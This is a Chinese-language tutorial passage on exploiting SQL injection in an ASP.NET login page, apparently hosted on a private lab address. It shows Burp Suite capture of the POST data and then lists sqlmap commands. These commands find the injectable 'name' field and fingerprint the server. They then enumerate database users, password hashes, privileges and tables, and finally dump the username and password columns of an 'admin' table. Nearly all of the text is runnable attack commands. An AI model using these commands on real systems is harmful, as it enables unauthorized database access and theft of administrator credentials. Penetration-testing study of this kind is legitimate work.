這里選用登錄頁面/user/login.aspx測試。
通過burpsuite抓包,並得到/user/login.aspx的完整URL以及post到服務器的數據格式。
URL:http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password
Post的數據格式:“name=aaa&password=aaaa&Submit=%E7%99%BB%E9%99%86”
我們將檢測到的結果,拿到SQLmap進行注入攻擊。
SQLmap先測試注入點:
Sqlmap檢測post注入是,使用-u制定“URL”,--data,制定post的表單數據。
格式如下:sqlmap.py –u “URL” –data “post數據”
這里測試如下:
F:\sqlmap>sqlmap.py -u "http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86"
通過sqlmap檢測的數據結果,能夠顯示name字段存在注入,並檢測到服務器短信息為windows2003,IIS6.0,SQL2005的數據庫。
在注入時,一般我們都需要如下信息: 數據庫banner信息(-b或—banner)、當前數據庫名字(--current-db),
當前連接數據庫用戶名(--current-user),當前數據庫主機名(--hostname),當前是否為dba權限(--is-dba),
數據庫管理用戶名信息(--users),數據庫管理用戶的密碼hash信息(--passwords),用戶權限(--privileges),用戶的角色(--roles)。
測試如下:
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -b --hostname --current-user --current-db --is-dba --users --passwords --privileges --roles
得到數據庫的名字。
利用—dbs參數,如果當前用戶有權限讀取系統表,這里能夠得到數據庫名字全部信息。
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" --dbs
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" --current-db
顯示結果如下。
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq --tables
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq -T admin --columns
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq -T admin -C user,password --dump